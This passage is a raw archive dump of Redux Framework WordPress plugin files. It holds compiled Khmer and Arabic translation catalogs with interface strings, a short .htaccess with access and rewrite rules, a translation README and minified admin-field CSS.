do ReduxLarguraEspaçamento entre palavrasA trabalhar...Não tem permissões suficientes para aceder a esta página.clicandodoaçãoerro(s) encontrado(s)!http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkmovendo o rato sobrenossa documentaçãoaviso(s) encontrado(s)!lib/redux-framework/languages/redux-framework-km.mo000064400000017443147206624460016512 0ustar00`()09JN]s      ! / 6 = L W c n z       Z   0 ? O T c o t               3 C H W ^ d n v  3            & , 9 ;D      R /K=j9E3A<u-E3B v $$$(E;0 3$!(J!f6*'CT'g3-)-W$g6  $'79VBB"-e?C 9$^w00+  $-@n ~' $*&$CKG<RB+*P =[H-EN< ZSD\% #(RFJIXYWGO.2@:)'7C`0&34"T>]V;A9_ UK^Q1$5/M,68?L ! ActiveAdd MoreAdd/Edit GalleryAllAllow trackingBackground AttachmentBackground PositionBackground RepeatBackground SizeBottomChangelogClear GalleryCloseCreditsDefaultDeleteDescriptionDeveloperDisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsExtensionsFont FamilyFont colorFont familyFont styleFrom Getting StartedGoogle WebfontsHeightHintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.ImportImport / ExportImport OptionsImport from URLLeftLetter SpacingLike Redux?NameNewsletterNo media selectedOffOnOptionsOptions ObjectPasswordPlease WaitRedux ExtensionsRedux FrameworkRegularRemoveReset AllRightSave ChangesSelect an itemSettings Imported!Settings Saved!SizeStandard FontsStatusStyleSubscribeSupportSystem InfoText AlignThemeThis field cannot be empty. Please provide a value.TitleTo TopTransparentURLUnitsUploadUserUsernameVersion %sView %sVisitedWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.donationerror(s) were found!extensions directoryour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Khmer (http://www.transifex.com/projects/p/redux-framework/language/km/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: km Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes ដែល​សកម្មបន្ថែម​ទៀតបន្ថែម​/កែ​វិចិត្រសាលទាំង​អស់អនុញ្ញាត​ការ​តាមដានឯកសារ​ភ្ជាប់​ផ្ទៃ​ក្រោយទីតាំង​ផ្ទៃ​ក្រោយធ្វើផ្ទៃ​ក្រោយ​ដដែលៗទំហំ​ផ្ទៃ​ក្រោយខាង​ក្រោមកំណត់​ត្រា​ផ្លាស់​ប្ដូរសម្អាត​វិចិត្រសាលបិទក្រឌីដលំនាំ​ដើមលុបការ​អធិប្បាយអ្នក​អភិវឌ្ឍមិន​អនុញ្ញាតបំបាត់មិន​អនុញ្ញាត​ការ​តាមដានអាសយដ្ឋាន​អ៊ីមែលបើកពង្រីកជម្រើស​ការ​នាំចេញផ្នែក​បន្ថែមពុម្ព​អក្សរពណ៌​អក្សរពុម្ព​អក្សររចនាបថ​ពុម្ព​អក្សរពីការ​ចាប់​ផ្ដើមGoogle Webfontsកម្ពស់គន្លឹះចង្អុល​លើប្រសិន​បើ​ចូល​ចិត្ត សូម %1$s ហើយ​គិត​ធ្វើ %2$s ដើម្បី​រក្សា​ឲ្យ​ការ​អភិវឌ្ឍ Redux នៅ​តែ​ទៅ​មុខ​ជា​និច្ច។នាំចូលនាំចូល / នាំចេញជម្រើស​ការ​នាំចូលនាំចូល​ពី URLខាង​ឆ្វេងគម្លាត​តួ​អក្សរចូល​ចិត្ត Redux ទេ?ឈ្មោះព្រឹត្តិបត្រមិន​បាន​ជ្រើស​មេឌាបិទបើកជម្រើសជម្រើស​វត្ថុពាក្យ​សម្ងាត់សូម​រង់ចាំផ្នែក​បន្ថែម​របស់ ReduxRedux Frameworkធម្មតាដកចេញកំណត់​ឡើង​វិញ​ទាំង​អស់ខាង​ស្ដាំរក្សាទុក​បន្លាស់​ប្ដូរជ្រើស​វត្ថុ​មួយបាន​នាំចូល​ការ​កំណត់។បាន​រក្សាទុក​ការ​កំណត់!ទំហំពុម្ពអក្សរ​ស្តង់ដារស្ថានភាពរចនាបថតាមដានការគាំទ្រព័ត៌មាន​ប្រព័ន្ធការ​តម្រឹម​អក្សរស្បែកវាល​នេះ​មិន​ទទេ​បាន​ឡើយ។ សូម​ផ្ដល់​តម្លៃ​អ្វី​មួយ។ឈ្មោះទៅខាង​លើថ្លាURLឯកតាផ្ទុក​ឡើងអ្នក​ប្រើឈ្មោះ​អ្នក​ប្រើកំណែ %sមើល %sបាន​មើលអ្វី​ដែល​ថ្មីទទឹងគម្លាត​ពាក្យកំពុង​ធ្វើការ...អ្នក​គ្មាន​សិទ្ធិ​គ្រប់គ្រាន់​ដើម្បី​ចូល​ទៅកាន់​ទំព័រ​នេះ​ទេ។ការ​បរិច្ចាគកំហុស​ត្រូវ​បាន​រក​ឃើញ!ឃ្លាំង​ផ្ទុក​ផ្នែក​បន្ថែមកម្រង​ឯកសារ​របស់​យើងការ​ព្រមាន​ត្រូវ​បាន​រក​ឃើញ!lib/redux-framework/languages/redux-framework-ar.mo000064400000041625147206624460016504 0ustar00t `at5D4W   .; B L.Z  lt|        # / ; FSYiydjZpU!(8G]WX " .2:m r!}  &%@fWv    (7J,Z(   ''.r3' y$ ( 1U9Ft   ;F[EKb4L3-/Fav`9 B K ` Ju  , ,!4!J!\!s!&!%$H%m%v%)%%A%%p&&p'/'$''' ("(<((R({( (((@())&2)$Y)~)) ) )%)) q* |*"*!* **** ++&.+U+g+++++++ ++ ,%,IB,- --2..../+//c0l00080 00B1b111 116112#2=2.Z2<2223 3 3+3-3 44G-4u4'44?4M5 ]5 h5u5 55 5555556%6M7\74G8|8W8G8@%9f9:!: (:5: >: K:(V:::: :: :"::q:$l;m<5<C5=y=== =Q=Q >Q\>v>~%?g?E @CR@I@q@qRAA A"AB BB,B>B%/CUCuC0?ai@P#A3W'1{R7Bnl(ELy U}qh\V>C Y2)_&z uc!9=, 5[mDgI.;t]8HX^pTKNrfGSkJ6bwsd|*e-+$o%4~<OxM F"j v`:Z/QActivate Demo ModeActivate Development PluginsActiveAdd MoreAdd/Edit GalleryAllAll Defaults Restored!Allow trackingAre you sure? Resetting will lose all custom values.Are you sure? Resetting will lose all custom values in this section.Are you sure? Resetting will lose all custom values.Automatic action performed: "%s"Background AttachmentBackground ClipBackground OriginBackground PositionBackground RepeatBackground SizeBackup Font FamilyBorder styleBottomChangelogClear GalleryClick here to activate the sample config file.CloseCreditsDeactivate Demo ModeDeactivate Development PluginsDefaultDeleteDescriptionDeveloperDeveloper Mode EnabledDid you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!DisableDismissDo not allow trackingEmail addressEnableExpandExport OptionsFont ColorFont FamilyFont SizeFont SubsetsFont VariantFont Weight & StyleFont colorFont familyFont scriptFont styleFont subsetsFrom Getting StartedGoogle WebfontsHeightHelp improve Our PanelHere you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).HintsHoverIf so, please %1$s and consider making a %2$s to keep development of Redux moving forward.If you'd like to keep up to with all things Redux, please subscribe to our newsletterImportImport / ExportImport OptionsImport from URLInput the URL to another sites options set and hit Import to load the options from that site.Input your backup file below and hit Import to restore your sites options from a backup.LeftLetter SpacingLike Redux?Line HeightMust call in of after the "plugins_loaded" action.NameNewsletterNo items of this type were found.No media selectedOffOnOptionsOptions ObjectOptions panel created using %1$sPasswordPlease WaitRedux ExtensionsRedux FrameworkRedux Framework ChangelogRedux Framework has an embedded demo.Redux GeneratorRedux is a simple, truly extensible options framework for WordPress themes and plugins.RegularRemoveRepoReset AllReset SectionRightSave ChangesSection Defaults Restored!Select an itemSettings Imported!Settings Saved!Settings have changed, you should save them!Show Object in Javascript Console ObjectSizeSlideStandard FontsStatusStyleSubscribeSubsetsSupportSystem InfoText AlignText DecorationText TransformThe following directories & files are still located in your Redux directory. They may cause errors in Theme-Check.The people that develop Redux FrameworkThe theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.The unknown action has been replaced with "%s"ThemeThis field cannot be empty. Please provide a value.This field must be a valid color value.This field must be a valid date.This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.TitleTo TopTransparentURLUnitsUnknown action "%1$s" specified for %2$sUploadUserUsernameVersionVersion %sView %sVisit plugin homepageVisitedWARNING! This will overwrite all existing option values, please proceed with caution!Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.Warning- This options panel will not work properly without javascript!Welcome to Redux FrameworkWelcome to the Redux Demo PanelWhat's NewWidthWord SpacingWorking...You do not have sufficient permissions to access this page.You have changes that are not saved. Would you like to save them now?You have changes that are not saved. Would you like to save them now?You must not enter any HTML in this field, all HTML tags have been removed.You must not enter any special characters in this field, all special characters have been removed.You must provide a comma separated list of numerical values for this option.You must provide a numerical value for this option.You must provide a valid URL for this option.You must provide a valid email for this option.Your current options will be replaced with the values of this preset. Would you like to proceed?Your current options will be replaced with the values of this preset. Would you like to proceed?clickingdonationerror(s) were found!extensions directoryhas the proper read/write permissions or enter your FTP information below.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkleave us a favorable review on WordPress.orgmoving the mouse overour documentationwarning(s) were found!Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach Language-Team: Arabic (http://www.transifex.com/projects/p/redux-framework/language/ar/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: ar Plural-Forms: nplurals=6; plural=n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes تفعيل الوضع التجريبيتفعيل إضافة التطويرفعالأضف المزيدإضافة/تحرير معرض الصورالكلتم استعادة كل الإعدادات الافتراضية!السماح بالتتبعهل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي.هل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي في هذا القسم.هل أنت متأكد؟ ستفقد كل التغييرات الشخصية بإعادة الوضع الأصلي.تم تنفيذ النشاط التلقائي: خلفية ثابتة / متحركةقصاصة الخلفيةأصل الخلفيةموضع الخلفيةتكرار الخلفيةحجم الخلفيةعائلة الخط الاحتياطيةنمط الإطارالأسفلسجّل التغييرتنظيف معرض الصورانقر هنا لتفعيل ملف عينة الإعدادات.أغلقشكر و تقديرإيقاف الوضع التجريبيتعطيل إضافة التطويرافتراضيحذفالوصفمطوّروضع المطور تم تفعيلههل تعلم أنه لدينا ملحقات, تقوم بدعم و تحسين ميزات ريدوكس كثيراً؟ قم بزيارة %1$s لتعرف أكثر!تعطيلتجاهلعدم السماح بالتتبعالبريد الإلكترونيتفعيلوسعخيارات التصديرلون الخطعائلة الخطحجم الخطمجموعات الخط الفرعيةتنوع الخطثقل & نمط الخطلون الخطعائلة الخطسكريبت الخطنمط الخطمجموعات خط فرعيةمنالبدءخطوط جوجلارتفاعساعد في تطوير لوحتنايمكنك هنا نسخ/تحميل إعدادات خياراتك الحالية. أبقي هذه النسخة بمأمن فقد تحتاجها كنسخة احطياطية في حال حدوث مشكلة ما, يمكنك استخدامها لاستعادة إعداداتك على هذا الموقع (أو أي موقع آخر).التلميحاتالحومإن كان كذلك, من فضلك %1$s و ضع بعين الإعتبار %2$s لكي يبقى تطوير ريدوكس مستمراً.إذا أردت البقاء مطلعاً على كل ما يتعلق بريدوكس, اشترك من فضلك بنشرتنا الإخباريةاستيراداستيراد / تصديرخيارات الاستيراداستيراد من رابطلتحميل الخيارات من موقع آخر أدخل الرابط لمجموعة خيارات ذلك الموقع و اضغط استيراد.لاستعادة خيارات موقعك من نسخة احتياطية أدخل ملف نسختك الاحتياطية بالأسفل و اضغط استيراد.يسارتباعد الحروفهل يعجبك ريدوكس؟ارتفاع السطريجب الإدراج بعد نشاط "plugins_loaded" .الاسمالنشرة الإخباريةلم يتم العثور على عناصر من هذا النوع.لا وسائط مختارةمعطلمفعلخياراتكائن الخياراتلوحة الخيارات أنشأت بواسطة %1$sكلمة المرورالرجاء الإنتظارملحقات ريدوكسإطار عمل ريدوكسسجل تغيير إطار عمل ريدوكسلدى إطار عمل ريدوكس مستعرض مضمّن.مولد ريدوكسريدوكس هو إطار عمل لقوالب وإضافات الوردبريس ويتميز بالبساطة وبالعديد من الخيارات المتعددة بالفعل.عاديإزالةالرباإعادة الوضع الأصلي للكلإعادة الوضع الأصلي للقسميمينحفظ التغييراتتم استعادة الإعدادات الافتراضية للقسم!اختر عنصرتم استيراد الإعدادات!تم حفظ الاعدادات!الإعدادات قد تغيرت, يجب عليك حفظها!إظهار الكائن في كائن وحدة تحكم جافا سكريبتالحجمانزلاقخطوط قياسيةوضعیةنمطإشتراكمجموعات فرعيةدعممعلومات النظاممحاذاة النصزخرفة النصتحويل النصالمجلدات & الملفات التالية ما زالت موجودة في مجلد ريدوكس الخاص بك. يمكنهم أن يسببون بعض الأخطاء أثناء عملية فحص القالب.الفريق الذي يعمل على تطوير إطار عمل ريدوكسالقالب الذي تقوم بإختبارة به %s مضمن. نحن ندعوك لقراءة التوثيق الخاص ب %s لفحص القالب %s ولفهم بعض التحذيرات التي تراها بسبب ريدوكس؟تم استبدال النشاط المجهول ب "قالبﻻ يمكن لهذا الحقل أن يكون فارغ. أضف قيمة من فضلك.هذا الحقل يجب أن يكون ذو قيمة لون صالحة.هذا الحقل يجب أن يكون ذو تاريخ صالح.تستعرض هذه اللوحة الميزات العديدة لريدوكس. قبل الغوص بها, من المحبذ أن تقوم بإلقاء نظرة على %1$s.العنوانإلىالأعلىشفافالرابطوحداتنشاط مجهول "%1$s" محدد ل %رفععضواسم المستخدمالنسخةالإصدار %sعرض %sزيارة صفحة الإضافةمزارتحذير! سيتم إعادة صياغة كل الخيارات الحالية, من فضلك تابع بحذر!هل ترغب في أن تكون سبّاقاًً؟ استخدم %1$s. ستنشئ مظهر متداول مخصص أو مجلد أدمين مستقل كامل مع كل شيء (مع المساعدة من أندرسكورس و TGM). أنقذ نفسك من الصداع و جربها اليوم.تحذير- لن تعمل لوحة الخيارات هذه بشكل جيد من دون جافا سكريبت!مرحباً بكم في إطار عمل ريدوكسمرحباً بك في لوحة ريدوكس الإستعراضيةما الجديدعرضتباعد الكلماتيعمل...ليس لديك الصلاحيات الكافية لدخول هذه الصفحة.يوجد تغييرات لم تحفظ بعد. هل تريد حفظها الآن؟يوجد تغييرات لم تحفظ بعد. هل تريد حفظها الآن؟لا يجب إدخال أي علامة HTML في هذا الحقل, تمت إزالة جميع علامات ال HTML.ﻻ يجب إدخال أي محارف خاصة في هذا الحقل, تمت إزالة جميع المحارف الخاصة.يجب أن تضيف قائمة قيم عددية يفصل بينها فواصل لهذا الخيار.يجب عليك إضافة قيمة عددية لهذا الخيار.يجب عليك إضافة رابط صحيح لهذا الخيار.يجب عليك إضافة عنوان بريد إلكتروني صحيح.ستستبدل الخيارات الحالية بقيم هذا الإعداد. هل تريد الإستمرار؟ستستبدل الخيارات الحالية بقيم هذا الإعداد. هل تريد الإستمرار؟عند النقرالتبرعخطأ (أخطاء) قد وجدت!مجلد الملحقاتلديه صلاحيات القراءة/الكتابة المناسبة أو قم بإدخال بيانات الـ FTP في الأسفل.http://reduxframework.comhttp://wordpress.org/plugins/redux-frameworkأترك لنا تقييماً جيداً على WordPress.orgعند مرور مؤشر الماوسوثائقنا المساعدةتحذير(ات) قد وجدت!lib/redux-framework/languages/.htaccess000064400000001626147206624460014220 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/languages/README.txt000064400000000157147206624460014116 0ustar00Please visit: https://github.com/ReduxFramework/ReduxFramework/wiki/Translate for details on how you can help. lib/redux-framework/assets/css/redux-fields.css000064400000103312147206624460015646 0ustar00.redux-container-ace_editor .ace-wrapper{position:static}.redux-container-ace_editor .ace_editor{height:200px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-ace_editor .ace_gutter{z-index:1!important}.redux-main .redux-container-background .redux-background-attachment,.redux-main .redux-container-background .redux-background-attachment select,.redux-main .redux-container-background .redux-background-clip,.redux-main .redux-container-background .redux-background-clip select,.redux-main .redux-container-background .redux-background-origin,.redux-main .redux-container-background .redux-background-origin select,.redux-main .redux-container-background .redux-background-position,.redux-main .redux-container-background .redux-background-position select,.redux-main .redux-container-background .redux-background-repeat,.redux-main .redux-container-background .redux-background-repeat select,.redux-main .redux-container-background .redux-background-size,.redux-main .redux-container-background .redux-background-size select{width:200px!important;margin-right:10px;margin-bottom:7px}.redux-main .redux-container-background .background-preview{display:block;width:100%;margin:5px 0 10px;border:1px dotted #d3d3d3}.redux-main .redux-container-background .select2-container{margin-right:10px;margin-bottom:10px}.redux-main .redux-container-background .wp-picker-container{margin-bottom:10px}.redux-main .redux-container-background .upload{width:100%;margin-bottom:8px}.redux-main .redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.wp-customizer .redux-container-background .redux-background-attachment,.wp-customizer .redux-container-background .redux-background-attachment select,.wp-customizer .redux-container-background .redux-background-clip,.wp-customizer .redux-container-background .redux-background-clip select,.wp-customizer .redux-container-background .redux-background-origin,.wp-customizer .redux-container-background .redux-background-origin select,.wp-customizer .redux-container-background .redux-background-position,.wp-customizer .redux-container-background .redux-background-position select,.wp-customizer .redux-container-background .redux-background-repeat,.wp-customizer .redux-container-background .redux-background-repeat select,.wp-customizer .redux-container-background .redux-background-size,.wp-customizer .redux-container-background .redux-background-size select{width:100%!important}.redux-container-border .select2-container{float:left;display:block;margin-right:10px}.redux-container-border .select_wrapper{float:left;width:inherit}.redux-container-border .select_wrapper select{width:80px;float:left}.redux-container-border .field-border-input{margin-right:10px;margin-bottom:7px}.redux-container-border .wp-picker-container{margin-top:2px}@media screen and (max-width:782px){.redux-container-border .field-border-input input{display:inline-block!important;width:100px!important}.redux-container-border .field-border-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-container-border .select_wrapper{margin-top:6px}}.redux-container-checkbox label{vertical-align:top;width:100%}.redux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none}.redux-container-color_gradient .colorGradient{display:inline-block}.redux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width:660px){.redux-container-color_gradient .colorGradient{display:block;text-align:center!important}}.sp-container{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer.focus,.sp-replacer.hover,.sp-replacer:focus,.sp-replacer:hover{background:#fafafa;border-color:#999;color:#222}.sp-replacer.focus,.sp-replacer:focus{-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active:focus{-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active,.sp-replacer.active:hover,.sp-replacer:active{background:#eee;border-color:#999;color:#333;-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}#ui-datepicker-div{z-index:15!important}.ui-datepicker-header{background-color:#00abef}.redux-dimensions-container .select_wrapper,.redux-dimensions-container select{width:65px!important;float:left}.redux-dimensions-container .field-dimensions-input{margin-right:10px;margin-bottom:7px}@media screen and (max-width:782px){.redux-dimensions-container .field-dimensions-input input{display:inline-block!important;width:100px!important}.redux-dimensions-container .field-dimensions-input .add-on{padding:7px 4px;font-size:16px;line-height:1.5}.redux-dimensions-container .select_wrapper{margin-top:6px}}.redux-main .divide{height:20px;line-height:20px;float:none;border-color:#e7e7e7;display:block;width:100%;height:35px!important;line-height:35px!important;position:relative;margin:15px 0 10px 0}.redux-main .divide .inner{width:42%!important;left:40%!important;margin-left:-6%;background-color:#fcfcfc;border-color:#e7e7e7;position:absolute;height:1px;top:50%;width:100%;margin-top:-1px;border-top-width:1px;border-top-style:solid}.redux-main .divide .inner span{background-color:#fcfcfc;border-color:#e7e7e7;height:5px;width:5px;border-width:2px;border-style:solid;display:block;position:absolute;left:50%;margin-left:-5px;margin-top:-5px}.wp-customizer .redux-container-divide .divide .inner{width:82%!important;left:18%!important;margin-left:-8%}.redux-container-editor .mceLayout td{border-width:1px;margin:0;padding:1px}.redux-container-editor input,.redux-container-editor textarea{margin:inherit}.redux-container-editor textarea{border-style:none;border:0;border-width:0}.redux-container-editor .wp-editor-container{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.redux-container-editor .wp-editor-container textarea{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;border-style:inherit}.redux-container-editor .quicktags-toolbar input{margin:2px 1px 4px;line-height:18px;display:inline-block;min-width:26px;padding:2px 4px;font:12px/18px Arial,Helvetica,sans-serif normal;color:#464646;border:1px solid #c3c3c3;-webkit-border-radius:3px;border-radius:3px;background:#eee;background-image:-webkit-gradient(linear,left bottom,left top,from(#e3e3e3),to(#fff));background-image:-webkit-linear-gradient(bottom,#e3e3e3,#fff);background-image:-moz-linear-gradient(bottom,#e3e3e3,#fff);background-image:-o-linear-gradient(bottom,#e3e3e3,#fff);background-image:linear-gradient(to top,#e3e3e3,#fff)}.redux-container-image_select .redux-table-container{display:table;table-layout:fixed;width:100%}.redux-container-image_select .redux-image-select{margin:0!important}.redux-container-image_select .redux-image-select .tiles{display:block;background-color:#fff;background-repeat:repeat;width:40px;height:40px}.redux-container-image_select .redux-image-select .tiles,.redux-container-image_select .redux-image-select img{border-color:#d9d9d9}.redux-container-image_select .redux-image-select li:last-child{margin-bottom:0}.redux-container-image_select .redux-image-select input[type=radio]{display:none}.redux-container-image_select .redux-image-select-presets img{width:100%}.redux-container-image_select ul.redux-image-select li{margin:0 10px 3px 10px;display:inline-block;padding:2px 2px;padding-left:0}.redux-container-image_select .redux-image-select-selected{background-color:#f9f9f9}.redux-container-image_select .redux-image-select .tiles,.redux-container-image_select .redux-image-select img,.redux-container-image_select .redux-image-select-selected .tiles,.redux-container-image_select .redux-image-select-selected img{border-width:4px;border-style:solid}.redux-container-image_select .redux-image-select-selected .tiles{border-color:#7a7a7a}.redux-info-field{min-height:20px;padding:8px 19px;margin:10px 0;border:1px solid;border-radius:4px;border:1px solid;position:relative}.redux-info-field h1,.redux-info-field h2,.redux-info-field h3,.redux-info-field h4,.redux-info-field h5,.redux-info-field h6{border-bottom:0!important}.redux-info-field h3{color:#777}.redux-info-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-info-field .redux-info-icon i{font-size:2em}.redux-info-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-info-field.redux-normal{background-color:#eee;border-color:#ccc;color:#666}.redux-info-field.redux-normal i{color:#c5c5c5}.redux-info-field.redux-warning{background-color:#fbeba4;border-color:#d7c281;color:#958234}.redux-info-field.redux-warning i{color:#dcca81}.redux-info-field.redux-success{background-color:#c4ee91;border-color:#71af5d;color:#4d7615}.redux-info-field.redux-success i{color:#a0ca6c}.redux-info-field.redux-critical{background-color:#fba1a3;border-color:#b84f5b;color:#981225}.redux-info-field.redux-critical i{color:#dd767d}.redux-info-field.redux-info{background-color:#d3e4f4;border-color:#a9b6c2;color:#5c80a1}.redux-info-field.redux-info i{color:#afc6da}.redux-notice-field{margin:15px 0 0;background-color:#fff;border:0;border-left:4px solid #f3f3f3;-webkit-box-shadow:0 1px 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 1px 0 rgba(0,0,0,.1);padding:1px 12px}.redux-notice-field h1,.redux-notice-field h2,.redux-notice-field h3,.redux-notice-field h4,.redux-notice-field h5,.redux-notice-field h6{border-bottom:0!important}.redux-notice-field p{margin:.5em 0;padding:2px}.redux-notice-field .redux-info-icon{display:inline-block;margin-right:15px}.redux-notice-field .redux-info-icon i{font-size:2em}.redux-notice-field .redux-info-desc{display:inline-block;vertical-align:top}.redux-notice-field.redux-info{border-left:4px solid #0099d5}.redux-notice-field.redux-success{border-left:4px solid #7ad03a}.redux-notice-field.redux-warning{border-left:4px solid #fbeba4}.redux-notice-field.redux-critical{border-left:4px solid #dd3d36}.redux-main .redux-field-container.redux-container-info{padding:0}.wp-customizer .hasIcon.redux-info-field .redux-info-desc,.wp-customizer .hasIcon.redux-notice-field .redux-info-desc{display:block;margin-left:43px}.wp-customizer .hasIcon.redux-info-field .redux-info-icon,.wp-customizer .hasIcon.redux-notice-field .redux-info-icon{float:left}.wp-customizer .redux-main .customize-control.customize-control-redux-info{border-bottom:0}.redux-container-link_color .linkColor{display:inline-block;padding-right:10px;padding-bottom:7px}.redux-container-link_color .linkColor strong{display:table;margin-bottom:5px;margin-left:3px;font-size:12px;font-weight:400;color:#999}.redux-main .button.remove-image,.redux-main .removeCSS{margin-left:10px;color:#ef521d}.redux-main .button.remove-image:hover,.redux-main .removeCSS:hover{color:red}.redux-main .upload_button_div{margin-bottom:5px}.redux-main .upload-error{float:left;color:#666;font-size:10px;font-weight:700;text-decoration:none;text-shadow:1px 1px 0 #fff;margin:0 10px 0 0;padding:3px 10px;background:#ffdfec;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-main .reset-button{font-family:Arial,Verdana,sans-serif;float:left;margin:0;color:#ef521d;border-color:#bbb}.redux-main .redux-option-image{max-height:340px;max-width:340px;padding:5px;margin-bottom:0;margin-top:10px;margin-right:15px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.redux-main .redux-main .upload{width:80%!important}.redux-main .button{margin-top:2px}.redux-container-multi_text ul.redux-multi-text{margin:0;padding:0}.redux-container-multi_text .redux-multi-text-add{clear:both;margin:5px 0}.redux-container-multi_text a.redux-multi-text-remove.deletion{color:red;padding:2px 4px;margin-left:5px}.redux-container-multi_text a.redux-multi-text-remove.deletion:hover{background:red;color:#fff;text-decoration:none}@media screen and (max-width:782px){.redux-container-multi_text input{clear:both}.redux-container-multi_text .redux-multi-text-remove{margin:0;float:right}}.wp-customizer .redux-container-multi_text .button{float:right}.wp-customizer .redux-container-multi_text .redux-multi-text-remove{float:right;margin-bottom:5px}.wp-customizer .redux-container-multi_text ul.redux-multi-text input{width:100%!important}.redux-container-palette label{border:3px solid transparent;border-color:transparent!important;border-radius:0;width:100%!important;display:block}.redux-container-palette label.ui-button.ui-widget{width:95%;background:0 0;padding:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.redux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:transparent;-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-ms-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out;text-shadow:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:700;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff,0 0 8px #fff}.redux-container-palette label.ui-state-active{border:3px solid #333!important}.wp-customizer .redux-main .redux-container-palette label{margin-bottom:3px}.redux-main .form-table-section-indented{width:95%;margin-left:5%!important}.redux-main .form-table-section tr:first-of-type th:first-of-type{padding:0!important}.redux-main h3{margin-top:10px}.redux-main .form-table-section-indented>tbody>tr:first-child{display:none}.redux-main .form-table-section-indented>tbody>tr:nth-last-child(2){border-bottom:0}.redux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.redux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid 